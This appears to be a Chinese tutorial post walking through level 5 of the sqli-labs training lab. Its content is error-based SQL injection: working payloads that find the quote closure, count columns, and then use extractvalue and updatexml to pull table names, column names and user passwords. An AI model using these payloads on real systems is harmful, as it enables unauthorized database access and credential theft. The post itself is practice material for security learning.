当前位置: 首页 > news >正文

sqli-labs靶场 less5

文章目录

  • sqli-labs靶场
    • less 5 报错注入


sqli-labs靶场

每道题都从以下模板讲解,并且每个步骤都有图片,清晰明了,便于复盘。

sql注入的基本步骤

  • 注入点
  • 注入类型
    • 字符型:判断闭合方式 (‘、"、’'、“”)
    • 数字型
  • 根据实际情况,选择合适的注入方式
  • 获取数据库名,表名,列名,数据

less 5 报错注入

  • 题目类型: 字符型 ’ 闭合 (无回显)

id=1
显示 You are in

在这里插入图片描述

id=1’
显示报错信息,分析得到闭合方式是单引号

在这里插入图片描述

id=1’ order by 4–+
报错,说明不存在第4列

在这里插入图片描述

id=1’ order by 3 --+
正确回显,说明表的字段数为3列

在这里插入图片描述

分析该题,可以得到,输入错误语句会显示报错信息,因此我们可以使用报错注入

id=1’and+extractvalue(1,concat(0x7e,(select schema()),0x7e))–+
通过extractvalue函数报错注入得到数据库名

在这里插入图片描述

id=1’and+extractvalue(1,concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=“security”) ,0x7e))–+
报错注入得到表名

在这里插入图片描述

id=1’and+extractvalue(1,concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_schema=“security” and table_name=“users”) ,0x7e))–+
报错注入得到字段名

在这里插入图片描述

id=1’and+extractvalue(1,concat(0x7e, (select group_concat(id,“-”,username,“-”,password) from users) ,0x7e))–+
或者 id=1’and+extractvalue(1,concat(0x7e, (select group_concat(id,“-”,username,“-”,password) from users) ,0x7e))–+ 推荐
报错注入得到数据

在这里插入图片描述
注意: 由于子查询返回的数据太长,但extractvalue函数报错输出字符有长度限制,最长32位,通过substr或者substring 截取获取 ->解决报错注入一次只能回显32字符的问题
id=1’and+extractvalue(1,concat(0x7e, (select substring( group_concat(id,“-”,username,“-”,password),1,32) from users) ,0x7e))–+
id=1’and+extractvalue(1,concat(0x7e, (select substring( group_concat(id,“-”,username,“-”,password),31,32) from users) ,0x7e))–+
在这里插入图片描述

  • updatexml函数与extractvalue原理相似
    id=1’+and+updatexml(1,concat(0x7e,(select group_concat(id,“-”,username,“-”,password) from users),0x7e),1)–+
    在这里插入图片描述

http://www.dtcms.com/a/101627.html

相关文章:

  • DSP开发板的JTAG接口
  • vue复习
  • 塔能科技:用精准节能撬动社会效益的行业杠杆
  • 7.4考研408数据结构B树与B+树专题深度解析
  • 接口等幂处理
  • SpringBoot集成Logback终极指南:从控制台到云端的多维日志输出
  • Bootstrap5 复选框与单选框
  • strcpy和strncpy和strcat和strncat和strstr和strtok函数使用及实现
  • 【Python实例学习笔记】图像相似度计算--哈希算法
  • 多线程开发中List的使用
  • 力扣hot100:滑动窗口——找到字符串中所有字母异位词
  • ER图怎么做?智能 ER 图生成等功能全面解析
  • golang 同步与锁
  • devextreme-react/scheduler 简单学习
  • Android 常用工具类记录
  • Hosts文件与DNS的关系:原理、应用场景与安全风险
  • Linux 随机数据生成
  • 从零构建大语言模型全栈开发指南:第三部分:训练与优化技术-3.2.1模型并行与数据并行策略(ZeRO优化器与混合精度训练)
  • Kubenetes Service类型与应用场景、YAML模板以及练习
  • 计算机网络面经(一)
  • Redis-02.Redis入门
  • python 原型链污染学习
  • 深度求索:开源革命下的AI普惠之路
  • JavaScript创建时间对象、数字、字符串方法
  • Python-八股总结
  • RabbitMQ、RocketMQ 和 Kafka 的消息特性对比
  • 用mkdocs写文档#自动更新github-page
  • 浙江大学公开课|第二季|智能金融:AI 驱动的金融变革
  • Vue3中的Parent-Child通信全解析
  • flink 基站与服务器长连接,每次连接和断开都会上报数据,统计过去一小时每个基站断开次数和时长